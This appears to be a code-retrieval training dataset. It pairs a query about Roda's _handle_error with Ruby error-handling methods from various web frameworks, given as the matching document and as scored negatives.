"def set_error(ex, backtrace=false)\n\n # set repsonse headers\n @status = 404;\n @header['content-type'] = \"text/html; charset=UTF-8\"\n\n # set response content\n @body = ''\n @body << <<-_end_of_html_\n \n <HTML>\n <HEAD>\n <TITLE>No page for you!</TITLE>\n\n <STYLE type=\"text/css\">\n BODY { font: 8pt/12pt verdana }\n H1 { font: 13pt/15pt verdana }\n H2 { font: 8pt/12pt verdana }\n A:link { color: black; text-decoration: none }\n A:visited { color: black; text-decoration: none }\n </STYLE>\n\n </HEAD><BODY>\n <TABLE width=500 border=0 cellspacing=10>\n <TR>\n <TD>\n\n <h1><a href=\"http://www.bindshell.net/tools/beef/\">These aren't the pages you're looking for</a></h1>\n \n </TD>\n </TR>\n </TABLE>\n </BODY>\n </HTML>\n \n _end_of_html_\n \n end",
"def error_generic(exception)\n # if you are using generic error handler you must pass error to Kiev explicitly\n Kiev.error = exception\n # using this to show propper error code for ActiveRecord::RecordNotFound\n # but text in case of ActiveRecord::RecordNotFound will be wrong\n render(\n status: ::ActionDispatch::ExceptionWrapper.status_code_for_exception(exception.class.name),\n plain: \"Internal server error\"\n )\n end",
"def egregious_respond_to(exception)\n respond_to do |format|\n status = status_code_for_exception(exception)\n format.xml { render :xml=> exception.to_xml, :status => status }\n format.json { render :json=> exception.to_json, :status => status }\n # render the html page for the status we are returning it exists...if not then render the 500.html page.\n format.html {\n # render the rails exception page if we are local/debugging\n if(Rails.application.config.consider_all_requests_local || request.local?)\n raise exception\n else\n render :file => File.exists?(build_html_file_path(status)) ?\n build_html_file_path(status) : build_html_file_path('500'),\n :status => status\n end\n }\n end\n end",
"def error(event, msg, code=500, trace = [])\n title = case code\n when 400\n \"Bad Request (400)\"\n when 401\n \"Unauthorized Request\"\n when 403\n \"Access Restricted\"\n when 404\n \"Page Not Found\"\n when 405\n \"HTTP Method Not Allowed\"\n else\n \"An Error Has Occured\"\n end\n @content = render('error', {title: title, message: msg, error_code: code, trace: trace})\n warnlog 'Error handler called with \"' << msg << '\", code ' << code.to_s << ' (trace: ' << trace.to_s << ')'\n end",
"def throw_error(error)\n render json: error, status: :bad_request\n end",
"def check_for_errors\n info = MultiJson.load(self.body).first\n\n if info['result'] && info['result'] != 0\n if info['result'] == 500\n raise Webceo::Api::ServerError.new(self.status.to_i, self.body)\n else\n raise Webceo::Api::ClientError.new(self.status.to_i, self.body)\n end\n end\n end",
"def error_rendering(exception, symbol)\n Rails.logger.error exception\n\n @exception = exception\n @symbol = symbol\n @code = Rack::Utils::SYMBOL_TO_STATUS_CODE[symbol].to_i\n respond_with @exception, status: @code, template: ERROR_PATH, prefixes: _prefixes\n end",
"def handle_request_error(exception)\n end",
"def error(x, status:200, type:\"request\", title:\"An error occurred\", message:\"\", args: [])\n x.res.status = status\n if App[:app_error][type.to_sym]\n App[:app_error][type.to_sym][:get][x, title, message, *args]\n else\n x << \"ERROR: #{title} - #{message}\"\n end\n end",
"def json_error_response\n # status must be assigned, ||= will often return 200\n self.status = 401\n self.content_type = \"application/json\"\n # have to include format_json here because custom error app\n # doesn't seem to call render json: as normal\n # so pretty param is ignored\n self.response_body = format_json(\n { errors: [{ status: status, detail: i18n_message }] },\n {} # options hash normally handled by render block\n )\n end",
"def error_handler()\n @error_handler\n end",
"def error(status, code, message)\n render :json => {:response_type => \"ERROR\", :response_code => code, :message => message}.to_json, :status => status\n end",
"def handle_response(response)\n case response.code.to_i\n when 200...300\n response\n else\n raise ResponseError.new(response)\n end\n end",
"def render_503(message = nil)\n errors = JsonApiServer.errors(\n status: 500,\n title: I18n.t('json_api_server.render_503.title'),\n detail: message || I18n.t('json_api_server.render_503.detail')\n )\n render json: errors.to_json, status: 503\n end",
"def error!(status, message)\n request.halt status, {error: message}.to_json\n end",
"def error!(status, message)\n request.halt status, {error: message}.to_json\n end",
"def five_hundred(error)\n json_response(error.message, :internal_server_error)\n end",
"def five_hundred(_error)\n json_response({ message: Message.something_went_wrong }, :internal_server_error)\n end",
"def error\n expires_in 1.month, public: true\n set_metadata({ 'title' => translate('errors.error') })\n render status: request.env['PATH_INFO'][1, 3].to_i\n end",
"def error\n expires_in 1.month, public: true\n set_metadata({ 'title' => translate('errors.error') })\n render status: request.env['PATH_INFO'][1, 3].to_i\n end",
"def internal_error(exception)\n data = error('internal_error', 'We have been notified.', format_exception(exception))\n [500, hdrs(content_length: data_size(data)), [data]]\n end",
"def respond_with_error(status, message)\n respond_to do |format|\n # when format :json\n format.json do\n # write json with error\n render status: status, json: { error: message }\n end\n # when format :pdf or :html\n format.any(:pdf, :html) do\n # retrieve code for status symbol. e.g. 404 for :not_found\n status_code = Rack::Utils::SYMBOL_TO_STATUS_CODE[status]\n # write error to flash\n flash[:danger] = \"[#{status_code}] #{message}\"\n # redirect back\n redirect_back(fallback_location: '/')\n end\n end\n end",
"def flex_error_handling\n response.headers['Status'] = interpret_status(200) if response.headers['Status'] == interpret_status(422)\n response.headers['Status'] = interpret_status(200) if response.headers['Status'] == interpret_status(201)\n end",
"def before_server_error(exception); end",
"def handle_error (url, res)\n puts \"#{url} was not found\" if res.code.to_i == 404\n puts \"#{url} requires authorization\" if res.code.to_i == 401\n puts \"#{url} returns an application error\" if res.code.to_i == 500\nend",
"def server_error?\n 500 <= code && code < 600\n end",
"def catch_errors\n # example\n yield\n rescue UnauthenticatedError => e\n json = { errors: [ { status: '401', title: e.message } ] }\n render json: json, status: :unauthorized\n rescue => e\n json = { errors: [ { status: '400', title: e.message } ] }\n render json: json, status: :bad_request\n end",
"def server_error(exception)\n # Whatever code that handles the exception\n\n ExceptionNotifier.notify_exception(exception,\n :env => request.env, :data => {:message => \"was doing something wrong\"})\n end",
"def render_bad_request(error)\n json_response({ error: { message: error.message } }, :bad_request)\n end",
"def default_error req, endpoint, error\n msg = \"= #{error.class}:\\n<b>#{error.message}</b>\\n\\n\"\n msg << error.backtrace\n\n response HTTP_INTERNAL_ERROR, api_html(msg)\n end",
"def is_server_error?\n code.to_i >= 500 && code.to_i <= 599\n end",
"def error_403\n if !request.xhr?\n render :template => \"errors/403\", :status => \"403 Error\"\n else\n respond_to do |format|\n format.json {render :json => {\n :error => \"403\",\n }, :status => \"403\"}\n end\n end\n end",
"def error(message, code)\n error_response = {\n message: message\n }\n render :json => error_response, :status => code\n end",
"def handle_exception(e, env)\n trace = e.backtrace.join \"\\n\"\n Tom::Log.logger.info e\n Tom::Log.logger.info trace\n [500, {}, {error: e,\n stacktrace: trace,\n url: env[\"REQUEST_URI\"]\n }.to_json]\n end"
] | [
"0.8084791",
"0.80613744",
"0.8007675",
"0.79165703",
"0.78441066",
"0.78001463",
"0.7739065",
"0.75448465",
"0.7540432",
"0.74953777",
"0.7429068",
"0.7420174",
"0.73963326",
"0.73265415",
"0.7319743",
"0.7236823",
"0.7196397",
"0.715707",
"0.7148659",
"0.705529",
"0.7054215",
"0.6959687",
"0.6947634",
"0.6934522",
"0.6932917",
"0.6917259",
"0.6906144",
"0.6904132",
"0.6901678",
"0.68892205",
"0.6853889",
"0.68403864",
"0.68275976",
"0.6823447",
"0.68216646",
"0.68155545",
"0.680085",
"0.6774704",
"0.67716634",
"0.6749667",
"0.6749525",
"0.6741012",
"0.6734631",
"0.6732409",
"0.6717692",
"0.6701711",
"0.66960835",
"0.66950494",
"0.66895217",
"0.66860807",
"0.66847706",
"0.66746527",
"0.665749",
"0.66193116",
"0.65978134",
"0.6581363",
"0.6553478",
"0.65524894",
"0.6546413",
"0.65433115",
"0.65250623",
"0.65250623",
"0.65123963",
"0.6502977",
"0.6496458",
"0.64873344",
"0.64760166",
"0.64657664",
"0.64599115",
"0.6452657",
"0.6450554",
"0.64454335",
"0.6405902",
"0.6402579",
"0.6389921",
"0.6380067",
"0.6377403",
"0.6374726",
"0.6373895",
"0.63738716",
"0.6362745",
"0.63618124",
"0.63618124",
"0.6360625",
"0.63489896",
"0.63425565",
"0.63416594",
"0.6333979",
"0.633212",
"0.632371",
"0.6323269",
"0.63225865",
"0.6311711",
"0.6309009",
"0.63079107",
"0.6298596",
"0.6298278",
"0.6294848",
"0.6275537",
"0.62641186",
"0.62567186"
] | 0.0 | -1 |
Default empty implementation of _roda_after, usually overridden by Roda.def_roda_before. | def _roda_after(res)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def def_roda_after\n meths = private_instance_methods.grep(/\\A_roda_after_\\d\\d/).sort\n unless meths.empty?\n plugin :error_handler unless private_method_defined?(:_roda_after)\n if meths.length == 1\n class_eval(\"alias _roda_after #{meths.first}\", __FILE__, __LINE__)\n else\n class_eval(\"def _roda_after(res); #{meths.map{|s| \"#{s}(res)\"}.join(';')} end\", __FILE__, __LINE__)\n end\n private :_roda_after\n alias_method :_roda_after, :_roda_after\n end\n end",
"def after(datum); end",
"def after(datum); end",
"def after=(_arg0); end",
"def def_roda_before\n meths = private_instance_methods.grep(/\\A_roda_before_\\d\\d/).sort\n unless meths.empty?\n plugin :_before_hook unless private_method_defined?(:_roda_before)\n if meths.length == 1\n class_eval(\"alias _roda_before #{meths.first}\", __FILE__, __LINE__)\n else\n class_eval(\"def _roda_before; #{meths.join(';')} end\", __FILE__, __LINE__)\n end\n private :_roda_before\n alias_method :_roda_before, :_roda_before\n end\n end",
"def after(&proc)\n @after = proc if proc\n @after\n end",
"def after(&block)\n define_before_or_after_method_with_block(:after, &block)\n end",
"def after(&after)\n @after = after\n end",
"def after_roll\n end",
"def after\n @after\n end",
"def after; end",
"def after; end",
"def after() nil ; end",
"def AfterAll(name: nil, &proc)\n Dsl.register_rb_hook('after_all', [], proc, name: name)\n end",
"def after\n end",
"def after(val, recursive = T.unsafe(nil)); end",
"def after\n end",
"def after(&block)\n block ? @after = block : @after\n end",
"def after(&block)\n block ? @after = block : @after\n end",
"def after(&block)\n block ? @after = block : @after\n end",
"def after(&block)\n block ? @after = block : @after\n end",
"def after(&block)\n block ? @after = block : @after\n end",
"def after(&block)\n block ? @after = block : @after\n end",
"def append_after(*args, &proc)\n add_callback(:append_after, *args, &proc)\n end",
"def after\n end",
"def after\n end",
"def eval_after_hook(locals: {})\n return if @after.blank?\n\n evaluate(@after, locals: locals)\n end",
"def after(*args, &block)\n meths, advice, options = Aspects.resolve(self, args, block)\n \n for meth in meths\n advices! << [:after_method, meth, advice]\n end\n \n return self\n end",
"def after(method_to_hook, method_to_call = nil, options = {}, &block)\n add(:after, method_to_hook, method_to_call, options, &block)\n end",
"def after(init, rst = $rst, clk = $clk, &code)\n with_counter(init,rst,clk) do |counter|\n seq do\n hif(rst.to_expr == 1) do\n counter.to_ref <= init.to_expr\n end\n helsif(counter.to_expr == 0) do\n # code.call\n instance_eval(&code)\n end\n helse do\n counter.to_ref <= counter.to_expr - 1\n end\n end\n end\n end",
"def after _type = nil, &block\n define_method :teardown do\n self.instance_eval(&block)\n super()\n end\n end",
"def after(*hooks)\n self.class.new(relation, **options, after: after_hooks + hooks)\n end",
"def rla\n end",
"def after(scope, &blk)\n # Do nothing\nend",
"def after(&block)\n @after << block\n end",
"def after(&block)\n if !block_given? || block.arity != 1\n raise InvalidBlockSpecification, \"after proc should have an arity of 1 (~ActiveRecord: record)\"\n end \n @options[:after] = block\n end",
"def After(*tag_expressions, name: nil, &proc)\n Dsl.register_rb_hook('after', tag_expressions, proc, name: name)\n end",
"def after(&block)\n rules.add('@document:after', Sawtooth::Rules::CallRule.new(:finish => block)) if block_given?\n end",
"def after(event, callback)\n install_hook(:after, event, callback)\n end",
"def after_hooks\n options[:after]\n end",
"def after(*args, &block)\n after_callbacks.concat(args)\n after_callbacks << block if block\n end",
"def after(type=:each, &block)\n raise ArgumentError, \"invalid after-type #{type}\" unless [:each, :all].include?(type)\n type_method = \"after_#{type}\"\n remove_method(type_method) rescue nil #if method_defined?(:teardown)\n define_method(type_method, &block)\n end",
"def after?\n !after.nil?\n end",
"def eval_after\n self.after_value = eval_expression\n end",
"def after\n return nil if blue_prints.after.empty?\n\n hook_action = HookAction.new(driver,\n blue_prints.after,\n :hook_action, self, location + '[hook_action]')\n hook_action.run\n end",
"def define_roda_method(meth, expected_arity, &block)\n if meth.is_a?(String)\n meth = roda_method_name(meth)\n end\n call_meth = meth\n\n # RODA4: Switch to false # :warn in last Roda 3 version\n if (check_arity = opts.fetch(:check_arity, true)) && !block.lambda?\n required_args, optional_args, rest, keyword = _define_roda_method_arg_numbers(block)\n\n if keyword == :required && (expected_arity == 0 || expected_arity == 1)\n raise RodaError, \"cannot use block with required keyword arguments when calling define_roda_method with expected arity #{expected_arity}\"\n end\n\n case expected_arity\n when 0\n unless required_args == 0\n if check_arity == :warn\n RodaPlugins.warn \"Arity mismatch in block passed to define_roda_method. Expected Arity 0, but arguments required for #{block.inspect}\"\n end\n b = block\n block = lambda{instance_exec(&b)} # Fallback\n end\n when 1\n if required_args == 0 && optional_args == 0 && !rest\n if check_arity == :warn\n RodaPlugins.warn \"Arity mismatch in block passed to define_roda_method. Expected Arity 1, but no arguments accepted for #{block.inspect}\"\n end\n temp_method = roda_method_name(\"temp\")\n class_eval(\"def #{temp_method}(_) #{meth =~ /\\A\\w+\\z/ ? \"#{meth}_arity\" : \"send(:\\\"#{meth}_arity\\\")\"} end\", __FILE__, __LINE__)\n alias_method meth, temp_method\n undef_method temp_method\n private meth\n alias_method meth, meth\n meth = :\"#{meth}_arity\"\n elsif required_args > 1\n if check_arity == :warn\n RodaPlugins.warn \"Arity mismatch in block passed to define_roda_method. Expected Arity 1, but multiple arguments required for #{block.inspect}\"\n end\n b = block\n block = lambda{|r| instance_exec(r, &b)} # Fallback\n end\n when :any\n if check_dynamic_arity = opts.fetch(:check_dynamic_arity, check_arity)\n if keyword\n # Complexity of handling keyword arguments using define_method is too high,\n # Fallback to instance_exec in this case.\n b = block\n block = if RUBY_VERSION >= '2.7'\n eval('lambda{|*a, **kw| instance_exec(*a, **kw, &b)}', nil, __FILE__, __LINE__) # Keyword arguments fallback\n else\n # :nocov:\n lambda{|*a| instance_exec(*a, &b)} # Keyword arguments fallback\n # :nocov:\n end\n else\n arity_meth = meth\n meth = :\"#{meth}_arity\"\n end\n end\n else\n raise RodaError, \"unexpected arity passed to define_roda_method: #{expected_arity.inspect}\"\n end\n end\n\n define_method(meth, &block)\n private meth\n alias_method meth, meth\n\n if arity_meth\n required_args, optional_args, rest, keyword = _define_roda_method_arg_numbers(instance_method(meth))\n max_args = required_args + optional_args\n define_method(arity_meth) do |*a|\n arity = a.length\n if arity > required_args\n if arity > max_args && !rest\n if check_dynamic_arity == :warn\n RodaPlugins.warn \"Dynamic arity mismatch in block passed to define_roda_method. At most #{max_args} arguments accepted, but #{arity} arguments given for #{block.inspect}\"\n end\n a = a.slice(0, max_args)\n end\n elsif arity < required_args\n if check_dynamic_arity == :warn\n RodaPlugins.warn \"Dynamic arity mismatch in block passed to define_roda_method. #{required_args} args required, but #{arity} arguments given for #{block.inspect}\"\n end\n a.concat([nil] * (required_args - arity))\n end\n\n send(meth, *a)\n end\n private arity_meth\n alias_method arity_meth, arity_meth\n end\n\n call_meth\n end",
"def after\n\t\t\ttrue\n\t\tend",
"def last_rut; end",
"def after(klass, meth_name, &block)\n intercept(klass, meth_name, :after, &block)\n end",
"def after_methods\n @@after_methods\n end",
"def after_recorded\n end",
"def build_auto_after(inside, after={})\n c_inside = normalize_part(inside, :inside)\n # n_after = normalize_part({}, :after)\n # TODO: Test to make sure the below fixed line doesn't break stuff :)\n n_after = normalize_part(after, :after)\n \n if c_inside[:enable].length > 0\n n_after[:reset] += [:style]\n end\n \n ColorTargets.keys.each do |k|\n if !c_inside[k].nil?\n n_after[:reset] += [k]\n end\n end\n\n # Combine override after section\n rules = override_after(inside, after, n_after)\n end",
"def rra\n end",
"def after(*args, &block)\n add_filter :after, &(args.empty? ? block : construct_filter(*args, &block))\n end",
"def after_all\n super if defined?(super)\n end",
"def include(*a)\n res = super\n def_roda_before\n def_roda_after\n res\n end",
"def after(&block)\n handle(1, &block)\n end",
"def after_each\n super if defined?(super)\n end",
"def after method_or_filter, options={}, &block\n _add_filter(:after, method_or_filter, options, block)\n end",
"def append_after(*args, &proc)\n scope, options = scope_and_options(*args)\n example_group = ExampleGroupFactory.get(\n get_type_from_options(options)\n )\n example_group.append_after(scope, &proc)\n end",
"def after(options, &block)\n options[:trigger] = options.delete(:goes) == :high ? :rising : :falling\n watch options, &block\n end",
"def after(event, &block)\n triggers[:after][event] << block\n self\n end",
"def after(**mapping)\n render(STANDARD, AFTER_DATE, **mapping)\n end",
"def at_end; end",
"def after?\n !!@after\n end",
"def after?\n !!@after\n end",
"def after\n each {|transition| transition.machine.write(object, :event_transition, transition)} if skip_after && success?\n super\n end",
"def execute_after(method_to_hook, instance)\n execute(:after, method_to_hook, instance)\n end",
"def rra\n @a = rotate_right @a, true\n reset_flags Z_FLAG, N_FLAG, H_FLAG\n end",
"def after_load\n @after_load ||= default_after_load\n end",
"def after(options={})\n conditions << SkyDB::Query::AfterCondition.new(options)\n return self\n end",
"def start_after; end",
"def prepend_after(*args, &proc)\n add_callback(:prepend_after, *args, &proc)\n end",
"def after_hook\n return unless after && !@before_hook_failed\n\n Logger.info \"After Hook Starting...\"\n after.call(exit_status)\n Logger.info \"After Hook Finished.\"\n\n set_exit_status # in case hook logged warnings\n rescue Exception => err\n fatal = !err.is_a?(StandardError)\n ex = fatal ? FatalError : Error\n Logger.error ex.wrap(err, \"After Hook Failed!\")\n # upgrade exit_status if needed\n (@exit_status = fatal ? 3 : 2) unless exit_status == 3\n end",
"def override_after(inside, override, after)\n c_ovr = normalize_part(override, :after)\n c_aft = normalize_part(after, :after)\n c_inside = normalize_part(inside, :inside)\n \n # change reset :all to specific resets\n if c_aft[:reset].include?(:all)\n c_aft[:reset] = Resets.keys - [:all]\n end\n # change keep :all to specific resets\n if c_ovr[:keep].include?(:all)\n c_ovr[:keep] = Resets.keys - [:all]\n end\n \n c_aft[:reset] = (c_aft[:reset] + c_ovr[:reset]).uniq\n # remove keeps from resets\n c_aft[:reset] -= c_ovr[:keep]\n \n # clear disable if keep :style\n if c_ovr[:keep].include?(:style) ||\n c_aft[:disable] = []\n end\n \n # if override disables styles, remove blanket style reset\n if c_ovr[:disable].length >= 1\n c_aft[:reset] -= [:style]\n end\n\n # replace reset :style with style specific targets\n if c_inside[:enable].length > 0 && c_aft[:reset].include?(:style)\n c_aft[:reset] -= [:style]\n c_aft[:disable] += c_inside[:enable]\n c_aft[:enable] -= c_inside[:enable]\n end\n\n # If we've reached this point with reset :style, change it into\n # disables\n if c_aft[:reset].include?(:style)\n c_aft[:reset] -= [:style]\n c_aft[:disable] += Styles.keys\n end\n \n # prevent enables from conflicting with disables\n en = (c_aft[:enable] + c_ovr[:enable] - c_ovr[:disable]).uniq\n di = (c_aft[:disable] + c_ovr[:disable] - c_ovr[:enable]).uniq\n \n en -= di\n di -= en\n \n result = { enable: en, disable: di, reset: c_aft[:reset] }\n ColorTargets.keys.each do |k|\n val = (c_ovr[k] || c_aft[k])\n result[k] = val unless val.nil?\n end\n \n return normalize_part(result, :after, true)\n end",
"def after_cycle; end",
"def start_after=(_arg0); end",
"def after_container\r\n\t\t\t''\r\n\t\tend",
"def before(datum); end",
"def before(datum); end",
"def _roda_handle_main_route\n begin\n res = super\n ensure\n _roda_after(res)\n end\n rescue *opts[:error_handler_classes] => e\n _handle_error(e)\n end",
"def after(which=:each, *tags, &procedure)\n @_hooks.add(:after, which, *tags, &procedure)\n end",
"def coolio_after(scope = :each, &block)\n raise ArgumentError, \"coolio_after only supports :each scope\" unless :each == scope\n evented_spec_hooks_for(:coolio_after).unshift block\n end",
"def after\n if @pkg.has_key? :cmd and @pkg[:cmd].has_key? :after\n logger.info \"Executing after commands...\"\n run :after\n end\n end",
"def after(&block)\n if block_given?\n @temp_block = block\n end\n self\n end",
"def after_cycle\n end",
"def after_callbacks\n @after_callbacks ||= []\n end",
"def after_run(&block)\n @after_run_block = block\n end",
"def after(identifier, &block)\n Chef::Sugar::Filters::Injector.new(self, identifier, :after).evaluate(&block)\n end",
"def AfterStep(*tag_expressions, name: nil, &proc)\n Dsl.register_rb_hook('after_step', tag_expressions, proc, name: name)\n end",
"def after_test(_test); end",
"def after_test(_test); end",
"def after_test(_test); end",
"def after(refname)\n result = call(refname)\n yield if block_given?\n result\n end",
"def my_method_added(args, method)\n # Hooking generates some extra methods that we can get snagged on, and\n # we don't care about them.\n return if @@hooking\n # Iterate over all the class annotations...\n (get_current_annotations[:class] || []).each do |ann|\n # Set the ranno_params helper to the definition args of the annotation.\n self.ranno_params = ann[:definition_args]\n # And fire off the annotation.\n self.send((ann[:method].to_s + '_annotation').to_sym, method, *ann[:args])\n end\n (get_current_annotations[:instance] || []).each do |ann|\n # Not going to make any assumptions about hooking\n hook_before = hook_after = false\n ann[:definition_args].each_pair do |key, value|\n if key == :hook\n # Handles the [:before], [:after], [:before, :after] cases\n if value.is_a? Array\n hook_before = true if value.include? :before\n hook_after = true if value.include? :after\n else\n # Handles the :before, :after, :both cases\n hook_before = true if value == :before\n hook_after = true if value == :after\n hook_before = hook_after = true if value == :both\n end\n end\n end\n\n # Set up the before hook\n if hook_before\n before(method) do\n # Get a copy of the definition args and update the hook to :before\n # (overwrites :both, if it was there)\n tmp_params = ann[:definition_args]\n tmp_params[:hook] = :before\n self.ranno_params = tmp_params\n annotation_method = (ann[:method].to_s + '_annotation').to_sym\n self.send annotation_method, method, *ann[:args]\n end\n end\n\n if hook_after\n after(method) do\n # Same as above...\n tmp_params = ann[:definition_args]\n tmp_params[:hook] = :after\n self.ranno_params = tmp_params\n annotation_method = (ann[:method].to_s + '_annotation').to_sym\n self.send annotation_method, method, *ann[:args]\n end\n end\n end\n\n # Done with these annotations; clear them so they don't execute again\n reset_annotations_for_next_method\n end",
"def before_after_callbacks_rule\n @before_after_callbacks_rule ||= CallbacksRule.new(self)\n end",
"def after date\n @after = date\n end",
"def skip_after; end",
"def after(*matches, &procedure)\n @_testcase.advice[:after][matches] = procedure\n end",
"def after_resolution\n nil\n end"
] | [
"0.81931144",
"0.6234094",
"0.6234094",
"0.5841248",
"0.58328044",
"0.57832104",
"0.5742591",
"0.569086",
"0.56727916",
"0.5619244",
"0.55398107",
"0.55398107",
"0.5523276",
"0.54220074",
"0.5413007",
"0.53838795",
"0.5372664",
"0.5365784",
"0.5365784",
"0.5365784",
"0.5365784",
"0.5349916",
"0.5349916",
"0.529184",
"0.5273137",
"0.5273137",
"0.5255118",
"0.5231716",
"0.52280396",
"0.5204201",
"0.5198342",
"0.5194779",
"0.5190901",
"0.51384866",
"0.51296824",
"0.5100676",
"0.5088555",
"0.5061431",
"0.5055521",
"0.5036322",
"0.5029218",
"0.50244164",
"0.49940836",
"0.49922457",
"0.4991186",
"0.49872097",
"0.49792445",
"0.49670938",
"0.4956402",
"0.49423352",
"0.49373716",
"0.49203232",
"0.48969737",
"0.48548272",
"0.48538297",
"0.48464254",
"0.4844256",
"0.48441193",
"0.48440057",
"0.48360318",
"0.48270634",
"0.48055172",
"0.4781844",
"0.47808412",
"0.47623813",
"0.47623813",
"0.47592494",
"0.47511667",
"0.47317836",
"0.4725467",
"0.47109655",
"0.47087693",
"0.46935564",
"0.46906328",
"0.46568945",
"0.4654195",
"0.46507722",
"0.46379676",
"0.46285102",
"0.46285102",
"0.46227175",
"0.46029642",
"0.45972997",
"0.45909703",
"0.4572226",
"0.45721373",
"0.4571923",
"0.45542216",
"0.45474976",
"0.4545961",
"0.45421568",
"0.45421568",
"0.45421568",
"0.45420903",
"0.45374757",
"0.45364675",
"0.45259953",
"0.45151952",
"0.4514077",
"0.45056227"
] | 0.7350155 | 1 |
Handle the given exception using handle_error, using a default status of 500. Run after hooks on the rack response, but if any error occurs when doing so, log the error using rack.errors and return the response. | def _handle_error(e)
res = @_response
res.send(:initialize)
res.status = 500
res = _roda_handle_route{handle_error(e)}
begin
_roda_after(res)
rescue => e2
if errors = env['rack.errors']
errors.puts "Error in after hook processing of error handler: #{e2.class}: #{e2.message}"
e2.backtrace.each{|line| errors.puts(line)}
end
end
res
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def handle_exception(exception, request, response)\n response.flush\n response.status = 500\n\n if config.development?\n response.content_type = \"text/html\"\n response.puts(Rack::ShowExceptions.new(nil).pretty(request.env, exception))\n else\n response.layout = \"layouts/exception\" if Harbor::View.exists?(\"layouts/exception\")\n\n if Harbor::View.exists?(\"exceptions/500.html.erb\")\n response.render \"exceptions/500.html.erb\", :exception => exception\n else\n response.puts \"We're sorry, but something went wrong.\"\n end\n end\n\n raise_event(:exception, Events::ServerErrorEvent.new(request, response, exception))\n end",
"def handle_500(exception = env[\"action_dispatch.exception\"])\n # Some one requested '/500' directly?\n if exception.blank?\n if (error_500_url_alias = Settler[:error_page_500]).present? && @node = Node.find_by_url_alias(error_500_url_alias)\n @page = @node.content\n render :template => 'pages/show', :status => :internal_server_error\n else\n render :template => 'errors/500', :status => :internal_server_error\n end\n return\n end\n\n if Rails.env.test?\n puts \"\\n#{exception.message}\"\n puts exception.backtrace.join(\"\\n\")\n end\n\n send_exception_notification(exception)\n error = { :error => \"#{exception} (#{exception.class})\", :backtrace => exception.backtrace.join('\\n') }\n @page_title = t('errors.internal_server_error')\n\n respond_to do |f|\n f.html do\n if request.xhr?\n render :json => error.to_json, :status => :internal_server_error\n else\n set_view_paths\n if (error_500_url_alias = Settler[:error_page_500]).present? && @node = Node.find_by_url_alias(error_500_url_alias)\n @page = @node.content\n render :template => 'pages/show', :status => :internal_server_error\n else\n render :template => 'errors/500', :status => :internal_server_error\n end\n end\n end\n f.xml { render :xml => error.to_xml, :status => :internal_server_error }\n f.any(:json, :js) { render :json => error.to_json, :status => :internal_server_error }\n f.any(:rss, :atom) { render :xml => error.to_xml, :status => :internal_server_error, :layout => false }\n f.all { render :nothing => true, :status => :internal_server_error }\n end\n end",
"def handle_error(error)\n # Can be overridden\n render plain: error.inspect, status: 500\n end",
"def internal_server_error\n @exception = env['action_dispatch.exception']\n #TODO: log exception information you want to log here\n # after removing it from the normal logging via lograge\n render status: 500\n end",
"def render_500(exception=nil)\n if exception\n logger.error \"Rendering 500 with exception: #{exception.message}\"\n logger.error exception.backtrace.join(\"\\n\")\n ExceptionNotifier.notify_exception(exception, env: request.env)\n end\n breadcrumbs.clear\n @error = [500, 'Internal Server Error']\n render status: 500, template: 'errors/default.html'\n end",
"def render_500(exception = nil)\n JsonApiServer.logger.error(exception.try(:message))\n JsonApiServer.logger.error(exception.try(:backtrace))\n\n errors = JsonApiServer.errors(\n status: 500,\n title: I18n.t('json_api_server.render_500.title'),\n detail: I18n.t('json_api_server.render_500.detail')\n )\n render json: errors.to_json, status: 500\n end",
"def handle_error(exception, error_status = 500)\n unless @context.status == error_status\n @context.status = error_status\n \n # FIXME: have to reset @context as well. This is uggly \n # and extremely error prone. We should rethink how this \n # works.\n \n @out = @context.output_buffer = \"\"\n\n session[:RENDERING_ERROR] = exception\n\n render(\"/status_#{error_status}\")\n end\n end",
"def fallback_error_handler(exception)\n __debug_exception('RESCUE_FROM', exception, trace: true)\n self.status = :internal_server_error\n if rendering_html?\n flash_now_alert(exception)\n render\n elsif posting_html?\n redirect_back(fallback_location: root_path, alert: exception.message)\n end\n rescue => error\n error_handler_deep_fallback(__method__, error)\n end",
"def render_error_500(error)\n notify_unhandled_exception(error)\n response = ErrorResponse.new(500)\n response.add(500, 'internal_server_error', meta: error_metadata(error))\n render_error(response)\n end",
"def render_500(exception = nil)\n puts_stacktrace(exception) if exception\n if !signed_in?\n # gflash error: \"#{exception.message}\"\n redirect_to signin_path, flash: { error: 'You must first sign in or sign up.' }\n else\n respond_to do |format|\n format.html { render template: 'errors/internal_server_error', layout: 'application', status: 500 }\n format.js { render template: 'errors/internal_server_error', layout: 'application', status: 500 }\n format.all { render nothing: true, status: 500 }\n end\n end\n end",
"def serve_exception(_exception); end",
"def render_error exception\n\n logger.info\"==========error 500=========\"\n #Rails.logger.error(exception)\n #render :template => \"/errors/500.html.erb\", :status => 500\n logger.info \"#{'-'*100} #{request.format} #{'-'*100}\"\n @error = exception\n ActiveSupport::Notifications.instrument \"exception.action_controller\", message: @error.message, inspect: @error.inspect, backtrace: @error.backtrace\n respond_to do |format|\n format.html { render template: \"errors/error_500\", status: 500, layout:false }\n format.all { render nothing: true, status: 500}\n\n end\n log_exception_handler(exception)\n end",
"def render_500\n error = { :message => \"Server error - Something went wrong at our end\"}\n render :json => error, :status => 500\n end",
"def after_exception(e)\n logger.error \"Error processing request\", e.message, e\n after(500)\n end",
"def render_error(exception = nil)\n\trespond_to do |format|\n\t\tformat.html{\n\t\t\trender :file => \"/app/views/errors/500.html.erb\", :status => 500, :layout => \"application\"\n\t\t}\n\t\tformat.xml { head :not_found }\n\t\tformat.any { head :not_found }\t\n\tend\n end",
"def render_error(exception)\n Bugsnag.notify(exception)\n render template: 'errors/internal_server_error', status: :not_found\n end",
"def handle_exceptions_gracefully\n\n begin\n\n yield\n\n rescue => se\n\n Rails.logger.error(\"Exception in API: #{se.message} trace: #{se.backtrace}\")\n\n ExceptionNotifier.notify_exception(\n se,\n env: request.env\n )\n\n r = Result::Base.error(\n internal_id: 'ac_3',\n general_error_identifier: 'something_went_wrong'\n )\n\n return render_api_response(r)\n\n end\n\n end",
"def handle_exception(e)\n if e.is_a?(Caprese::Error)\n output = { json: e }\n render output.merge(e.header)\n else\n logger.info e.inspect\n logger.info e.backtrace.join(\"\\n\")\n render json: Caprese::Error.new(code: :server_error), status: 500\n end\n end",
